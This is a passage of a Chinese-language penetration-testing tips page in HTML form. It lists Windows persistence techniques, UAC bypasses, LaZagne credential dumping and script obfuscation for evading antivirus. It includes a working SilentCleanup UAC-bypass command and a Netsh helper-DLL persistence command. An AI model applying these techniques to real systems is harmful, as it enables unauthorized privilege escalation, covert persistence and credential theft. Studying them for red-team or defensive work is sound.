    &lt;span class="md_line md_line_start"&gt;DllCanUnloadNow&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;DllGetClassObject&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;DllRegisterServer&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;DllUnregisterServer&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;等待用户重新登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/"&gt;《Userland registry hijacking》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_57" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：Netsh&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;helper DLL需要包含导出函数InitHelperDll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;netsh add helper c:\test\netshtest.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;helper dll添加成功后，每次调用netsh，均会加载c:\test\netshtest.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Netsh-persistence/"&gt;《Netsh persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_58" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：Shim&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方式：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;InjectDll

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;RedirectShortcut

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;RedirectEXE

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Compatibility-Shims/"&gt;《渗透测试中的Application Compatibility Shims》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_59" class="h16"&gt;&lt;span class="span_for_h"&gt;方法7：dll劫持&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过Rattler自动枚举进程，检测是否存在可用dll劫持利用的进程&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/DLL%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E%E8%87%AA%E5%8A%A8%E5%8C%96%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7Rattler%E6%B5%8B%E8%AF%95/"&gt;《DLL劫持漏洞自动化识别工具Rattler测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_60" class="h16"&gt;&lt;span class="span_for_h"&gt;方法8：DoubleAgent&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;编写自定义Verifier provider DLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过Application Verifier进行安装&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;注入到目标进程执行payload&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;每当目标进程启动，均会执行payload，相当于一个自启动的方式&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Verifier(DoubleAgent%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D)/"&gt;《渗透测试中的Application Verifier(DoubleAgent利用介绍)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_61" class="h16"&gt;&lt;span class="span_for_h"&gt;方法9：waitfor.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不支持自启动，但可远程主动激活，后台进程显示为waitfor.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/"&gt;《Use Waitfor.exe to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_62" class="h16"&gt;&lt;span class="span_for_h"&gt;方法10：AppDomainManager&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;针对.Net程序，通过修改AppDomainManager能够劫持.Net程序的启动过程。 如果劫持了系统常见.Net程序如powershell.exe的启动过程，向其添加payload，就能实现一种被动的后门触发机制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/"&gt;《Use AppDomainManager to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_63" class="h16"&gt;&lt;span class="span_for_h"&gt;方法11：Office加载项&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果系统已安装office软件，可通过配置Office加载项实现劫持，作为被动后门&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用利用方式：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Word WLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Excel XLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Excel VBA add-ins&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;PowerPoint VBA add-ins&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：https://github.com/3gstudent/Office-Persistence&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/"&gt;《Use Office to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/"&gt;《Office Persistence on x64 operating system》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_64" class="h16"&gt;&lt;span class="span_for_h"&gt;方法12：CLR&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;无需管理员权限的后门，并能够劫持所有.Net程序&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC:https://github.com/3gstudent/CLR-Injection&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/"&gt;《Use CLR to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_65" class="h16"&gt;&lt;span class="span_for_h"&gt;方法13：msdtc&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用MSDTC服务加载dll，实现自启动，并绕过Autoruns对启动项的检测&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/"&gt;《Use msdtc to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_66" class="h16"&gt;&lt;span class="span_for_h"&gt;方法14：Hijack CAccPropServicesClass and MMDeviceEnumerator&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不需要重启系统，不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：https://github.com/3gstudent/COM-Object-hijacking&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/"&gt;《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_67" class="h16"&gt;&lt;span class="span_for_h"&gt;方法15：Hijack explorer.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不需要重启系统，不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/"&gt;《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_68" class="h16"&gt;&lt;span class="span_for_h"&gt;方法16：Windows FAX DLL Injection&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过DLL劫持，劫持Explorer.exe对fxsst.dll的加载&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Explorer.exe在启动时会加载&lt;code&gt;c：\Windows\System32\fxsst.dll&lt;/code&gt;(服务默认开启，用于传真服务)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将payload.dll保存在c：\Windows\fxsst.dll，能够实现dll劫持，劫持Explorer.exe对fxsst.dll的加载&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_69" class="h16"&gt;&lt;span class="span_for_h"&gt;方法17：劫持Office软件的特定功能&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过dll劫持,在Office软件执行特定功能时触发后门&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/"&gt;《利用BDF向DLL文件植入后门》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_70" class="h16"&gt;&lt;span class="span_for_h"&gt;方法17：特殊注册表键值&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在注册表启动项创建特殊名称的注册表键值，用户正常情况下无法读取(使用Win32 API)，但系统能够执行(使用Native API)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E5%88%9B%E5%BB%BA/"&gt;《渗透技巧——&amp;quot;隐藏&amp;quot;注册表的创建》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E6%9B%B4%E5%A4%9A%E6%B5%8B%E8%AF%95/"&gt;《渗透技巧——&amp;quot;隐藏&amp;quot;注册表的更多测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_71" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 31. UAC绕过&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_72" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：use eventvwr.exe and registry hijacking&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用：Win7，Win8.1，Win 10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/"&gt;《Study Notes of WMI Persistence using wmic.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/"&gt;《Userland registry hijacking》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_73" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：use sdclt.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-sdclt.exe-to-bypass-UAC/"&gt;《Study Notes of using sdclt.exe to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_74" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：use SilentCleanup&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win8,Win10&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f &amp;amp;&amp;amp; REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-SilentCleanup-to-bypass-UAC/"&gt;《Study Notes of using SilentCleanup to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_75" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：use wscript.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;只适用于Win7&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Empire%E4%B8%AD%E7%9A%84Invoke-WScriptBypassUAC%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"&gt;《Empire中的Invoke-WScriptBypassUAC利用分析》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_76" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：use cmstp.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://msitpros.com/?p=3960&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用于Win7&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_77" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：修改环境变量，劫持高权限.Net程序&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win7-Win10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如gpedit.msc&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改环境变量，利用CLR劫持gpedit.msc的启动过程&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/"&gt;《Use CLR to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_78" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：修改注册表HKCU\Software\Classes\CLSID，劫持高权限程序&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win7-Win10&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{B29D466A-857D-35BA-8712-A758861BFEA1}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{D5AB5662-131D-453D-88C8-9BBA87502ADE}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{0A29FF9E-7F9C-4437-8B11-F424491E3931}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/"&gt;《Use CLR to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_79" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 32. Visual Studio生成的exe或是dll在其他系统使用，提示缺少相关DLL文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解放方法：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将程序打包发布&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目菜单-&amp;gt;项目属性，C/C++-&amp;gt;代码生成-&amp;gt;运行库，选择多线程 (/MT)&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_80" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 33. 使用LaZagne导出当前系统中常见应用存储的密码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;可以使用LaZagne导出当前系统中常见应用存储的密码（例如浏览器、Wifi、Git、Outlook等）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/AlessandroZ/LaZagne&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，也可以修改LaZagne源码实现对其他应用的密码导出&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%9C%AC%E5%9C%B0%E5%AF%86%E7%A0%81%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7LaZagne%E4%B8%AD%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E8%84%9A%E6%9C%AC%E5%BC%80%E5%8F%91/"&gt;《本地密码查看工具LaZagne中的自定义脚本开发》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_81" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 34. 使用powershell读写文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读文本文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$file = Get-Content "1.txt"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;写文本文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Set-content "1.txt"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读二进制文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;写二进制文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_82" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 35. powershell作base64编码/解码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;编码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$encoded = [System.Convert]::ToBase64String($fileContent)&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$fileContent = [System.Convert]::FromBase64String($encoded)&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-BGInfo-to-bypass-Application-Whitelisting/"&gt;《Study Notes of using BGInfo to bypass Application Whitelisting》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_83" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 36 如果powershell脚本被查杀，可以尝试使用Invoke-Obfuscation进行混淆&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/danielbohannon/Invoke-Obfuscation&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
